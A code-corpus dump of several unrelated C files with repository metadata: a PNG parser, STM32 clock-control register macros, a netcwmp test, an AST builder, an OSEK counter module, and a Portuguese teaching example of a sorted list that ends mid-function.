/* */
/* ::: :::::::: */
/* png_to_array.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: kibotrel <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2019/06/14 16:16:17 by kibotrel #+# #+# */
/* Updated: 2019/06/25 19:56:40 by kibotrel ### ########.fr */
/* */
/* ************************************************************************** */
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include "libft.h"
#include "macros.h"
#include "png.h"
static void parse_png(t_control *file, int *out)
{
file->debug ? print_chunks(*file) : 0;
*out = check_signature(file->save);
while (!*out && file->info.pos < file->size)
{
ft_memcpy(file->chunk.length, file->save + file->info.pos, 4);
file->chunk.size = big_endian4(file->chunk.length);
get_chunkname(file->chunk.name, file->save + file->info.pos + 4, 4);
*out = selector(file);
file->info.pos += file->chunk.size + 12;
}
}
int png_to_array(char *png, t_png *image, int flag)
{
int fd;
int out;
t_control file;
setup(&file, image, flag);
flag_mode(file.verbose, file.debug);
if (!(file.save = (unsigned char*)malloc(MAX_SIZE)))
out = ERR_MALLOC;
else if ((fd = open(png, O_RDONLY)) < 0)
out = ERR_OPEN;
else
{
file.size = read(fd, file.save, MAX_SIZE);
is_valid_read(file.size, &out);
if (!close(fd))
parse_png(&file, &out);
else
out = ERR_CLOSE;
!out ? set_array(&file, image) : 0;
}
out != ERR_MALLOC ? free(file.save) : 0;
file.debug ? print_state(file, out) : 0;
return (output(file, out));
}
| 2.390625 | 2 |
2024-11-18T20:46:44.086295+00:00 | 2021-01-24T00:43:05 | 15035574a0cb18d76218493611d5de2d542cab26 | {
"blob_id": "15035574a0cb18d76218493611d5de2d542cab26",
"branch_name": "refs/heads/master",
"committer_date": "2021-01-24T00:43:05",
"content_id": "939daf6bc54e0e6eb1149ac0a0ec1b18f11ec533",
"detected_licenses": [
"MIT"
],
"directory_id": "e9ddf45110a834f36b96edf4ccc6d6172e6769ea",
"extension": "h",
"filename": "Rcc.h",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 243726934,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 9228,
"license": "MIT",
"license_type": "permissive",
"path": "/Src/Sys/Stm/Rcc.h",
"provenance": "stackv2-0025.json.gz:112",
"repo_name": "prikarna/NanoOS",
"revision_date": "2021-01-24T00:43:05",
"revision_id": "26d577cca0107a0b4aa2e3ef2f9f19f283ce0dc1",
"snapshot_id": "45553a1e7b47871782265d48a82e38578c7cb599",
"src_encoding": "UTF-8",
"star_events_count": 1,
"url": "https://raw.githubusercontent.com/prikarna/NanoOS/26d577cca0107a0b4aa2e3ef2f9f19f283ce0dc1/Src/Sys/Stm/Rcc.h",
"visit_date": "2021-08-16T04:46:14.275380"
} | stackv2 | /*
* File : Rcc.h
* Remark : Macro to access Reset and Clock Control controller on chip.
* Fow now this is STM32F10XXX chipset.
*
*/
#ifndef RCC_H
#define RCC_H
#include "..\Type.h"
#include "..\Bit.h"
#ifdef __cplusplus
extern "C" {
#endif
#define RCC_HSI_CLOCK 8000000UL
#define RCC_HSE_CLOCK 8000000UL
#define RCC_BASE 0x40021000
#define RCC_CR 0x40021000
#define RCC_CFGR 0x40021004
#define RCC_CIR 0x40021008
#define RCC_APB2RSTR 0x4002100C
#define RCC_APB1RSTR 0x40021010
#define RCC_AHBENR 0x40021014
#define RCC_APB2ENR 0x40021018
#define RCC_APB1ENR 0x4002101C
#define RCC_BDCR 0x40021020
#define RCC_CSR 0x40021024
//#define RCC_REG_ADDR(RegOffset) (RCC_BASE + RegOffset)
//#define RCC_MMAP(RegOffset) IO_MMAP((RCC_BASE + RegOffset))
#define RCC_ENA_HSI(Ena) ENABLE_IO_BIT(RCC_CR, BIT_0, Ena)
#define RCC_GET_HSI() GET_IO_BIT(RCC_CR, BIT_0)
#define RCC_IS_HSI_READY() GET_IO_BIT(RCC_CR, 1)
#define RCC_SET_HSI_TRIMM(TrimVal) SET_IO_BITS(RCC_CR, BIT_3, BITMASK_5, TrimVal)
#define RCC_GET_HSI_TRIM() GET_IO_BITS(RCC_CR, BIT_3, BITMASK_5)
#define RCC_GET_HSI_CALIB() GET_IO_BITS(RCC_CR, BIT_8, BITMASK_8)
#define RCC_ENA_HSE(Ena) ENABLE_IO_BIT(RCC_CR, BIT_16, Ena)
#define RCC_GET_HSE() GET_IO_BIT(RCC_CR, BIT_16)
#define RCC_IS_HSE_READY() GET_IO_BIT(RCC_CR, BIT_17)
#define RCC_ENA_HSE_BYPASS(Ena) ENABLE_IO_BIT(RCC_CR, BIT_18, Ena)
#define RCC_IS_HSE_BYPASS() GET_IO_BIT(RCC_CR, BIT_18)
#define RCC_ENA_CLOCK_SEC_SYS(Ena) ENABLE_IO_BIT(RCC_CR, BIT_19, Ena)
#define RCC_ENA_PLL(Ena) ENABLE_IO_BIT(RCC_CR, BIT_24, Ena)
#define RCC_IS_PLL_ENABLED() GET_IO_BIT(RCC_CR, BIT_24)
#define RCC_IS_PLL_READY() GET_IO_BIT(RCC_CR, BIT_25)
//#define RCC_1_WAIT_STATE() __asm volatile ("NOP;")
//#define RCC_2_WAIT_STATE() __asm volatile ("NOP;NOP;")
//#define RCC_DMB() __asm volatile ("DMB;");
#define RCC_APB_PRESCALE__HCLK_NO_DIV 0x0 // 0xx: HCLK not divided
#define RCC_APB_PRESCALE__HCLK_DIV_BY_2 0x4 // 100: HCLK divided by 2
#define RCC_APB_PRESCALE__HCLK_DIV_BY_4 0x5 // 101: HCLK divided by 4
#define RCC_APB_PRESCALE__HCLK_DIV_BY_8 0x6 // 110: HCLK divided by 8
#define RCC_APB_PRESCALE__HCLK_DIV_BY_16 0x7 // 111: HCLK divided by 16
#define RCC_GET_APB1_PRESCALE() GET_IO_BITS(RCC_CFGR, BIT_8, BITMASK_3)
#define RCC_SET_APB1_PRESCALE(RccApbPresc) SET_IO_BITS(RCC_CFGR, BIT_8, BITMASK_3, RccApbPresc)
#define RCC_GET_APB2_PRESCALE() GET_IO_BITS(RCC_CFGR, BIT_11, BITMASK_3)
#define RCC_SET_APB2_PRESCALE(RccApbPresc) SET_IO_BITS(RCC_CFGR, BIT_11, BITMASK_3, RccApbPresc)
#define RCC_MCO__NO_CLOCK 0x0
#define RCC_MCO__SYSCLK 0x4
#define RCC_MCO__HSI 0x5
#define RCC_MCO__HSE 0x6
#define RCC_MCO__PLL_DIV_2 0x7
#define RCC_SET_MCO_CLK(McoClk) SET_IO_BITS(RCC_CFGR, BIT_24, BITMASK_3, McoClk)
#define RCC_USB_PRESCALE__DIV_1_DOT_5 0x0
#define RCC_USB_PRESCALE__DIV_1 0x1
#define RCC_SET_USB_PRESC(UsbPrescale) ENABLE_IO_BIT(RCC_CFGR, BIT_22, UsbPrescale)
#define RCC_PLL_MUL_BY_2 0x0
#define RCC_PLL_MUL_BY_3 0x1
#define RCC_PLL_MUL_BY_4 0x2
#define RCC_PLL_MUL_BY_5 0x3
#define RCC_PLL_MUL_BY_6 0x4
#define RCC_PLL_MUL_BY_7 0x5
#define RCC_PLL_MUL_BY_8 0x6
#define RCC_PLL_MUL_BY_9 0x7
#define RCC_PLL_MUL_BY_10 0x8
#define RCC_PLL_MUL_BY_11 0x9
#define RCC_PLL_MUL_BY_12 0xA
#define RCC_PLL_MUL_BY_13 0xB
#define RCC_PLL_MUL_BY_14 0xC
#define RCC_PLL_MUL_BY_15 0xD
//#define RCC_PLL_MUL_BY_16 0xE
#define RCC_PLL_MUL_BY_16 0xF
#define RCC_SET_PLL_MUL(MulBy) SET_IO_BITS(RCC_CFGR, BIT_18, BITMASK_4, MulBy)
#define RCC_GET_PLL_MUL() GET_IO_BITS(RCC_CFGR, BIT_18, BITMASK_4)
#define RCC_SET_PLLXTPRE(Set) ENABLE_IO_BIT(RCC_CFGR, BIT_17, Set)
#define RCC_GET_PLLXTPRE() GET_IO_BIT(RCC_CFGR, BIT_17)
#define RCC_PLL_SRC__HSI_DIV_2 0x0
#define RCC_PLL_SRC__HSE 0x1
#define RCC_SET_PLL_SRC(PllSrc) ENABLE_IO_BIT(RCC_CFGR, BIT_16, PllSrc)
#define RCC_GET_PLL_SRC() GET_IO_BIT(RCC_CFGR, BIT_16)
#define RCC_ADC_PRESCALE__PCLK2_DIV_2 0x0
#define RCC_ADC_PRESCALE__PCLK2_DIV_4 0x1
#define RCC_ADC_PRESCALE__PCLK2_DIV_6 0x2
#define RCC_ADC_PRESCALE__PCLK2_DIV_8 0x3
#define RCC_SET_ADC_PRESCALE(AdcPrescale) SET_IO_BITS(RCC_CFGR, BIT_14, BITMASK_2, AdcPrescale)
#define RCC_AHB_PRESCALE__SYSCLK 0x0 // 0xxx: SYSCLK not divided
#define RCC_AHB_PRESCALE__SYSCLK_DIV_2 0x8 // 1000: SYSCLK divided by 2
#define RCC_AHB_PRESCALE__SYSCLK_DIV_4 0x9 // 1001: SYSCLK divided by 4
#define RCC_AHB_PRESCALE__SYSCLK_DIV_8 0xA // 1010: SYSCLK divided by 8
#define RCC_AHB_PRESCALE__SYSCLK_DIV_16 0xB // 1011: SYSCLK divided by 16
#define RCC_AHB_PRESCALE__SYSCLK_DIV_64 0xC // 1100: SYSCLK divided by 64
#define RCC_AHB_PRESCALE__SYSCLK_DIV_128 0xD // 1101: SYSCLK divided by 128
#define RCC_AHB_PRESCALE__SYSCLK_DIV_256 0xE // 1110: SYSCLK divided by 256
#define RCC_AHB_PRESCALE__SYSCLK_DIV_512 0xF // 1111: SYSCLK divided by 512
#define RCC_SET_AHB_PRESCALE(AhbPrescale) SET_IO_BITS(RCC_CFGR, BIT_4, BITMASK_4, AhbPrescale)
#define RCC_GET_AHB_PRESCALE() GET_IO_BITS(RCC_CFGR, BIT_4, BITMASK_4)
#define RCC_SYSCLK__HSI 0x0 // 00: HSI oscillator used as system clock
#define RCC_SYSCLK__HSE 0x1 // 01: HSE oscillator used as system clock
#define RCC_SYSCLK__PLL 0x2 // 10: PLL used as system clock
#define RCC_GET_SYSCLK_SRC() GET_IO_BITS(RCC_CFGR, BIT_2, BITMASK_2)
#define RCC_SWITCH_SYSCLK(SysClk) SET_IO_BITS(RCC_CFGR, BIT_0, BITMASK_2, SysClk)
#define RCC_APB2_CTRL__TIM11 BITHEX_21
#define RCC_APB2_CTRL__TIM10 BITHEX_20
#define RCC_APB2_CTRL__TIM9 BITHEX_19
#define RCC_APB2_CTRL__ADC3 BITHEX_15
#define RCC_APB2_CTRL__USART1 BITHEX_14
#define RCC_APB2_CTRL__TIM8 BITHEX_13
#define RCC_APB2_CTRL__SPI1 BITHEX_12
#define RCC_APB2_CTRL__TIM1 BITHEX_11
#define RCC_APB2_CTRL__ADC2 BITHEX_10
#define RCC_APB2_CTRL__ADC1 BITHEX_9
#define RCC_APB2_CTRL__IOPG BITHEX_8
#define RCC_APB2_CTRL__IOPF BITHEX_7
#define RCC_APB2_CTRL__IOPE BITHEX_6
#define RCC_APB2_CTRL__IOPD BITHEX_5
#define RCC_APB2_CTRL__IOPC BITHEX_4
#define RCC_APB2_CTRL__IOPB BITHEX_3
#define RCC_APB2_CTRL__IOPA BITHEX_2
#define RCC_APB2_CTRL__AFIO BITHEX_0
#define RCC_RESET_APB2_CTRL(Apb2Ctrl) IO_MEM32(RCC_APB2RSTR) |= Apb2Ctrl
#define RCC_APB1_CTRL__DAC BITHEX_29
#define RCC_APB1_CTRL__PWR BITHEX_28
#define RCC_APB1_CTRL__BKP BITHEX_27
#define RCC_APB1_CTRL__CAN BITHEX_25
#define RCC_APB1_CTRL__USB BITHEX_23
#define RCC_APB1_CTRL__I2C2 BITHEX_22
#define RCC_APB1_CTRL__I2C1 BITHEX_21
#define RCC_APB1_CTRL__UART5 BITHEX_20
#define RCC_APB1_CTRL__UART4 BITHEX_19
#define RCC_APB1_CTRL__USART3 BITHEX_18
#define RCC_APB1_CTRL__USART2 BITHEX_17
#define RCC_APB1_CTRL__SPI3 BITHEX_15
#define RCC_APB1_CTRL__SPI2 BITHEX_14
#define RCC_APB1_CTRL__WWDG BITHEX_11
#define RCC_APB1_CTRL__TIM14 BITHEX_8
#define RCC_APB1_CTRL__TIM13 BITHEX_7
#define RCC_APB1_CTRL__TIM12 BITHEX_6
#define RCC_APB1_CTRL__TIM7 BITHEX_5
#define RCC_APB1_CTRL__TIM6 BITHEX_4
#define RCC_APB1_CTRL__TIM5 BITHEX_3
#define RCC_APB1_CTRL__TIM4 BITHEX_2
#define RCC_APB1_CTRL__TIM3 BITHEX_1
#define RCC_APB1_CTRL__TIM2 BITHEX_0
#define RCC_RESET_APB1_CTRL(Apb1Ctrl) IO_MEM32(RCC_APB1RSTR) |= Apb1Ctrl
#define RCC_AHB_CTRL__SDIOEN BITHEX_10
#define RCC_AHB_CTRL__FSMCEN BITHEX_8
#define RCC_AHB_CTRL__CRCEN BITHEX_6
#define RCC_AHB_CTRL__FLITFEN BITHEX_4
#define RCC_AHB_CTRL__SRAMEN BITHEX_2
#define RCC_AHB_CTRL__DMA2EN BITHEX_1
#define RCC_AHB_CTRL__DMA1EN BITHEX_0
#define RCC_ENA_AHB_CTRL_CLK(Ena, AhbCtrl) \
(Ena) ? (IO_MEM32(RCC_AHBENR) |= AhbCtrl) : (IO_MEM32(RCC_AHBENR) &= ~(AhbCtrl))
#define RCC_ENA_APB2_CTRL_CLK(Ena, Apb2Ctrl) \
(Ena) ? (IO_MEM32(RCC_APB2ENR) |= Apb2Ctrl) : (IO_MEM32(RCC_APB2ENR) &= ~(Apb2Ctrl))
#define RCC_GET_APB2_CTRL_CLK() IO_MEM32(RCC_APB2ENR)
#define RCC_ENA_APB1_CTRL_CLK(Ena, Apb1Ctrl) \
(Ena) ? (IO_MEM32(RCC_APB1ENR) |= Apb1Ctrl) : (IO_MEM32(RCC_APB1ENR) &= ~(Apb1Ctrl))
#define RCC_GET_APB1_CTRL_CLK() IO_MEM32(RCC_APB1ENR)
#define RCC_RESET_BACK_DOM() SET_IO_BIT(RCC_BDCR), BIT_16)
#define RCC_CLR_RST_BACK_DOM() CLR_IO_BIT(RCC_BDCR, BIT_16)
#define RCC_ENA_RTC_CTRL(Ena) ENABLE_IO_BIT(RCC_BDCR, BIT_15, Ena)
#define RCC_RTC_CLK_SRC__NONE 0x0
#define RCC_RTC_CLK_SRC__LSE 0x1
#define RCC_RTC_CLK_SRC__LSI 0x2
#define RCC_RTC_CLK_SRC__LSE_DIV_128 0x3
#define RCC_SET_RTC_CLK_SRC(RtcClkSrc) SET_IO_BITS(RCC_BDCR, BIT_8, BITMASK_2, RtcClkSrc)
#define RCC_ENA_LSE_BYPASS(Ena) ENABLE_IO_BIT(RCC_BDCR, BIT_2, Ena)
#define RCC_IS_LSE_READY() GET_IO_BIT(RCC_BDCR, BIT_1)
#define RCC_ENA_LSE(Ena) ENABLE_IO_BIT(RCC_BDCR, BIT_0, Ena)
#define RCC_GET_LOW_PWR_RST_FLAG() GET_IO_BIT(RCC_CSR, BIT_31)
#define RCC_GET_WND_WATCHDOG_FLAG() GET_IO_BIT(RCC_CSR, BIT_30)
#define RCC_GET_INDP_WATCHDOG_FLAG() GET_IO_BIT(RCC_CSR, BIT_29)
#define RCC_GET_SOFT_RST_FLAG() GET_IO_BIT(RCC_CSR, BIT_28)
#define RCC_GET_POR_RST_FLAG() GET_IO_BIT(RCC_CSR, BIT_27)
#define RCC_REMOVE_RESET_FLAG() SET_IO_BIT(RCC_CSR, BIT_24)
#define RCC_IS_LSI_READY() GET_IO_BIT(RCC_CSR, BIT_1)
#define RCC_ENA_LSI(Ena) ENABLE_IO_BIT(RCC_CSR, BIT_0, Ena)
#ifdef __cplusplus
}
#endif
#endif // End of RCC_H
| 2.171875 | 2 |
2024-11-18T18:58:30.752086+00:00 | 2020-08-05T01:44:26 | e0b73008405f69deee0353dc4d2423695a93ac42 | {
"blob_id": "e0b73008405f69deee0353dc4d2423695a93ac42",
"branch_name": "refs/heads/master",
"committer_date": "2020-08-05T01:44:26",
"content_id": "47f0edc9a981d53dd09ec0ec4e8067c07839bc90",
"detected_licenses": [
"Apache-2.0"
],
"directory_id": "565507688be07671ad20c22af2240359fa021cfe",
"extension": "c",
"filename": "test_model.c",
"fork_events_count": 0,
"gha_created_at": "2020-07-31T03:55:09",
"gha_event_created_at": "2020-07-31T03:55:10",
"gha_language": null,
"gha_license_id": "Apache-2.0",
"github_id": 283937184,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 2173,
"license": "Apache-2.0",
"license_type": "permissive",
"path": "/tests/src/test_model.c",
"provenance": "stackv2-0026.json.gz:106544",
"repo_name": "moeshAdmin/netcwmp",
"revision_date": "2020-08-05T01:44:26",
"revision_id": "2098c767b77a88ed1c0ba74ca171cdce43ca8507",
"snapshot_id": "1068b7d37393a8b92de865ac754fad7727994c72",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/moeshAdmin/netcwmp/2098c767b77a88ed1c0ba74ca171cdce43ca8507/tests/src/test_model.c",
"visit_date": "2022-11-26T05:42:34.109183"
} | stackv2 | #include "testutil.h"
static void print_param(parameter_node_t * param, int level)
{
if(!param) return;
parameter_node_t * child;
char fmt[64];
//cwmp_log_debug("name: %s, type: %s, level: %d\n", param->name, cwmp_get_type_string(param->type), level);
int i=0;
sprintf(fmt, "|%%-%d\s%%s", level*4);
cwmp_log_debug(fmt, "----", param->name);
child = param->child;
if(!child)
return;
print_param(child, level+1);
parameter_node_t * next = child->next_sibling;
while(next)
{
print_param(next, level+1);
next = next->next_sibling;
}
}
static void test_cwmp_model_load (abts_case *tc, void *data)
{
cwmp_t * c = (cwmp_t*)data;
FUNCTION_TRACE();
}
static void test_cwmp_model_copy_parameter (abts_case *tc, void *data)
{
cwmp_t * c = (cwmp_t*)data;
char * param_name = "InternetGatewayDevice.WANDevice.";
FUNCTION_TRACE();
parameter_node_t * param = cwmp_get_parameter_path_node(c->root, param_name);
parameter_node_t * new_param;
cwmp_model_copy_parameter(param, &new_param, 1);
print_param(c->root,0);
param = cwmp_get_parameter_path_node(c->root, "InternetGatewayDevice.WANDevice.1.WANConnectionDevice.");
cwmp_model_copy_parameter(param, &new_param, 1);
print_param(c->root,0);
param = cwmp_get_parameter_path_node(c->root, "InternetGatewayDevice.WANDevice.");
cwmp_model_copy_parameter(param, &new_param, 2);
print_param(c->root,0);
param = cwmp_get_parameter_path_node(c->root, "InternetGatewayDevice.WANDevice.1.");
cwmp_model_delete_parameter(param);
print_param(c->root,0);
param = cwmp_get_parameter_path_node(c->root, "InternetGatewayDevice.WANDevice.");
cwmp_model_copy_parameter(param, &new_param, 2);
print_param(c->root,0);
}
extern cwmp_t * gcwmp;
abts_suite *testsuite_model(abts_suite *suite)
{
suite = ADD_SUITE(suite)
abts_run_test(suite, test_cwmp_model_load, gcwmp);
abts_run_test(suite, test_cwmp_model_copy_parameter, gcwmp);
return suite;
}
| 2.28125 | 2 |
2024-11-18T18:58:30.860019+00:00 | 2010-02-16T08:07:06 | 4fa022cb5c197389ed94b5527686d23f9ac907a2 | {
"blob_id": "4fa022cb5c197389ed94b5527686d23f9ac907a2",
"branch_name": "refs/heads/master",
"committer_date": "2010-02-16T08:07:06",
"content_id": "73578e6892c3a4d704045909e522228b77d10fea",
"detected_licenses": [
"Zlib"
],
"directory_id": "b45fcecff2f06bfd484b8ac12d12d5c2adb54a76",
"extension": "c",
"filename": "ast.c",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": null,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 2343,
"license": "Zlib",
"license_type": "permissive",
"path": "/src/ast.c",
"provenance": "stackv2-0026.json.gz:106672",
"repo_name": "joeldevahl/minion",
"revision_date": "2010-02-16T08:07:06",
"revision_id": "db40f5f99851c5ff17178e0d34730951f2a4d042",
"snapshot_id": "bf7de1cab78656dd988faa9e42312d3913b8a837",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/joeldevahl/minion/db40f5f99851c5ff17178e0d34730951f2a4d042/src/ast.c",
"visit_date": "2016-09-06T18:54:20.526845"
} | stackv2 | /* ast.c
* Copyright (C) 2007-2008 Joel de Vahl.
* For conditions of distribution and use, see copyright notice in LICENSE
*/
#include "ast.h"
#include "hash.h"
#include "object.h"
#include "str.h"
#include "state.h"
#include "config.h"
#include <stdlib.h>
#include <stdio.h>
#include <memory.h>
void AST_init(struct AST *ast, struct State *state)
{
ast->state = state;
ast->root = State_newObject(state);
Object_init(ast->state, ast->root);
ast->obj = ast->root;
AST_stepChild(ast);
}
void AST_deepPrint(struct AST *ast, unsigned indent, unsigned first)
{
Object_deepPrint(ast->state, Object_getSlot(ast->state, ast->root, CHILD), indent, first);
}
void AST_addMsg(struct AST *ast, const char *name, unsigned length)
{
AST_createAndStep(ast, "Message");
ast->obj->data.ptr = calloc(length + 1, sizeof(char));
memcpy(ast->obj->data.ptr, name, length * sizeof(char));
}
void AST_addString(struct AST *ast, const char *name, unsigned length)
{
AST_createAndStep(ast, "String");
ast->obj->data.ptr = calloc(length - 1, sizeof(char));
memcpy(ast->obj->data.ptr, name+1, length * sizeof(char) - 2);
String_unescape(ast->state, ast->obj, 0x0, 0x0);
}
void AST_addNumber(struct AST *ast, const char *val, unsigned length)
{
AST_createAndStep(ast, "Integer");
ast->obj->data.ival = atoi(val);
}
void AST_createAndStep(struct AST *ast, const char *proto)
{
if(!Object_getSlot(ast->state, ast->obj, ast->targetHash))
{
struct Object *o = State_cloneProto(ast->state, proto);
Object_setSlot(ast->state, ast->obj, o, ast->targetHash);
}
AST_step(ast);
}
void AST_step(struct AST *ast)
{
ast->obj = Object_getSlot(ast->state, ast->obj, ast->targetHash);
}
void AST_stepChild(struct AST *ast)
{
ast->targetHash = CHILD;
}
void AST_stepNext(struct AST *ast)
{
ast->targetHash = NEXT;
}
void AST_stepParamlist(struct AST *ast)
{
ast->targetHash = PARAMS;
}
void AST_stepParam(struct AST *ast)
{
AST_addMsg(ast, "PARAM", 5);
AST_stepChild(ast);
}
void AST_mark(struct AST *ast, struct AST_State *mark)
{
mark->obj = ast->obj;
mark->targetHash = ast->targetHash;
}
void AST_revert(struct AST *ast, struct AST_State *mark)
{
ast->obj = mark->obj;
ast->targetHash = mark->targetHash;
AST_step(ast);
}
struct Object *AST_getMessageRoot(struct AST *ast)
{
return Object_getSlot(ast->state, ast->root, CHILD);
}
| 2.34375 | 2 |
2024-11-18T19:25:16.480982+00:00 | 2021-08-08T03:17:35 | e891e9f281df56c25c3cb58f106a424bee770f4e | {
"blob_id": "e891e9f281df56c25c3cb58f106a424bee770f4e",
"branch_name": "refs/heads/master",
"committer_date": "2021-08-08T03:17:35",
"content_id": "1179a906d1a85c3e69a324a167843250642a11ba",
"detected_licenses": [
"Apache-2.0"
],
"directory_id": "adfda3643a99f69da49bccbd8e0afcc98fde2741",
"extension": "c",
"filename": "os_counter.c",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": null,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 2420,
"license": "Apache-2.0",
"license_type": "permissive",
"path": "/kernel/os_counter.c",
"provenance": "stackv2-0027.json.gz:327",
"repo_name": "nashokkumar/FreeOSEK",
"revision_date": "2021-08-08T03:17:35",
"revision_id": "97c023a24eab017f3c7e9efacdd10ff2f7808b24",
"snapshot_id": "4b0d8dbd6fcbbb39d7edba5b89e68f954682bbff",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/nashokkumar/FreeOSEK/97c023a24eab017f3c7e9efacdd10ff2f7808b24/kernel/os_counter.c",
"visit_date": "2023-07-16T06:17:54.084540"
} | stackv2 | #include <stdio.h>
#include <board.h>
#include <sg_counter.h>
static u32 OsTickCount;
static u32 OsTickCount_us;
#define ENABLE_UPTIME_PRINTS 1
#define TEMPORARY_WORKAROUND 1
#define ONE_MSEC_IN_NANO_SEC (1000000)
int OsComputeUpTime(void);
int OsHandleCounters(void);
u32 GetOsTickCnt(void) {
return OsTickCount;
}
int OsHandleTicks(void) {
OsTickCount++;
if (brd_get_usec_syscount(&OsTickCount_us))
printf("Error: brd_get_usec_syscount returned non-zero\n");
// TODO: Set some event for OS to process the OS Ticks
#ifdef TEMPORARY_WORKAROUND
// The following line below is a temporary work-around. This is bad
// because we are processing counter within ISR. This should be avoided.
OsHandleCounters();
#endif
#ifdef ENABLE_UPTIME_PRINTS
OsComputeUpTime();
#endif
return 0;
}
int OsHandleCounters(void) {
static TickType os_ticks_old, nsec_cnt_old;
TickType os_ticks, nsec_cnt;
TickType delta;
int i;
/* Get input from OS Counter */
if (brd_get_usec_syscount(&nsec_cnt)) {
printf("Error: brd_get_usec_syscount returns error\n");
return -1;
}
os_ticks = GetOsTickCnt();
/* Increment user configured OSEK Counters */
for (int i = 0; i < OS_MAX_COUNTERS; i++) {
if (OsCounters[i].tickduration < ONE_MSEC_IN_NANO_SEC ) {
delta = (TickType)(nsec_cnt - nsec_cnt_old);
}
else {
delta = (TickType)(os_ticks - os_ticks_old);
}
if (delta >= OsCounters[i].alarm.ticksperbase) {
OsCounters[i].countval += delta;
if (OsCounters[i].countval > OsCounters[i].alarm.maxallowedvalue) {
OsCounters[i].countval = 0;
}
}
}
os_ticks_old = os_ticks;
nsec_cnt_old = nsec_cnt;
return 0;
}
#ifdef ENABLE_UPTIME_PRINTS
int OsComputeUpTime(void) {
static u64 upTime_sec, ut_old;
u64 sec_in_nano_sec = 1000000000; /* 1 sec = 1000,000,000 nano sec */
int days, hrs, min, sec;
/* Print all counters */
printf("[");
for (int i = 0; i < OS_MAX_COUNTERS; i++) {
printf("%08X", OsCounters[i].countval);
if (i+1 != OS_MAX_COUNTERS)
printf(", ");
}
printf("] ");
/* Compute and print up-time */
upTime_sec = (u64) OS_TICK_DURATION_ns * GetOsTickCnt() / sec_in_nano_sec;
if (upTime_sec != ut_old) {
sec = upTime_sec % 60;
min = (upTime_sec / 60) % 60;
hrs = (upTime_sec / 3600) % 24;
days = (upTime_sec / (24*3600));
printf("Up-Time: %d days - %02d:%02d:%02d", days, hrs, min, sec);
ut_old = upTime_sec;
}
printf("\r");
fflush(stdout);
}
#endif | 2.90625 | 3 |
2024-11-18T19:25:16.559445+00:00 | 2021-08-07T17:12:09 | 9fc549b20742ec6b294ada1e1b2ba2508f0fb5c6 | {
"blob_id": "9fc549b20742ec6b294ada1e1b2ba2508f0fb5c6",
"branch_name": "refs/heads/main",
"committer_date": "2021-08-07T17:12:09",
"content_id": "e36cbbb5361faf38a2dc489dca9d811186221dde",
"detected_licenses": [
"MIT"
],
"directory_id": "cbc265ef35541dc6f669fc3a1d6c45d30cc0a301",
"extension": "c",
"filename": "ListaSequencialOrdenada.c",
"fork_events_count": 3,
"gha_created_at": "2021-06-26T22:50:04",
"gha_event_created_at": "2021-08-07T17:12:10",
"gha_language": "Python",
"gha_license_id": "MIT",
"github_id": 380609602,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 2823,
"license": "MIT",
"license_type": "permissive",
"path": "/src/c/ListaSequencialOrdenada.c",
"provenance": "stackv2-0027.json.gz:455",
"repo_name": "NiumXp/Algoritmos-e-Estruturas-de-Dados",
"revision_date": "2021-08-07T17:12:09",
"revision_id": "646c1ca4f64495cc307a3ccb3b5db01ff7a07324",
"snapshot_id": "9e6a32ce39fa5849a7b8fa616038258e3bd8fa3e",
"src_encoding": "UTF-8",
"star_events_count": 3,
"url": "https://raw.githubusercontent.com/NiumXp/Algoritmos-e-Estruturas-de-Dados/646c1ca4f64495cc307a3ccb3b5db01ff7a07324/src/c/ListaSequencialOrdenada.c",
"visit_date": "2023-07-12T16:09:46.185795"
} | stackv2 | /*
* Exemplo de implementação de Lista Sequencial Ordenada em C - Utilizando sentinela
* Kelvin S. do Prado - 2015
*/
#include <stdio.h>
#define MAX 10
#define ERRO -1
typedef int TIPOCHAVE; // Define um nome TIPOCHAVE para um tipo inteiro
typedef struct{
TIPOCHAVE chave;
}REGISTRO;
typedef struct{
REGISTRO A[MAX+1]; // O +1 é a posição que será utilizada para a 'sentinela'
int nroElementos;
}LISTA;
void inicializar(LISTA* L){
L->nroElementos = 0; // Acessa a lista pelo endereço de memória
int i = 0;
for (i; i < MAX-2; ++i){ // Preenche a lista até -2 para deixar espaço para inserir mais depois
L->A[i].chave = i*2;
}
L->nroElementos = MAX-2;
// (*L).nroElementos = 0; // Neste caso iria acessar a lista em si, e não o ponteiro
}
/* A função do sentinela é adicionar a chave ao final da lista, ou seja,
* sempre irá encontrar a chave, mesmo que seja na útlima posição da lista.
* Caso seja o último elemento, significa que não encontrou.
* Deste modo elimina o 'if' dentro do laço, poupando várias comparações
*/
int buscaSentinela(TIPOCHAVE ch, LISTA* L){ // Poderia usar aqui busca binária, o que seria mais apropriado.
int i = 0;
L->A[L->nroElementos].chave = ch; // Atribui a 'chave'/valor buscado a ultima posição do array A
while(L->A[i].chave != ch) // Percorre todo o array A buscando se a 'chave'/valor pesquisado se encontra no array (senão será o sentinela)
i++;
if(i == L->nroElementos) // Se o valor chegou até o final, significa que não encontrou o valor, retorna ERRO (-1)
return ERRO;
return i; // Caso contrário retorna a posição do valor/'chave' no array
}
bool inserirOrdenado(REGISTRO reg, LISTA* L){
int i = 0;
if(L->nroElementos >= MAX)
return false;
L->A[L->nroElementos].chave = reg.chave;
while(L->A[i].chave < reg.chave)
i++;
int p = L->nroElementos-1;
while(p >= i){
L->A[p+1] = L->A[p];
p--;
}
L->A[i] = reg;
L->nroElementos++;
return true;
}
bool deletaValor(REGISTRO reg, LISTA* L){
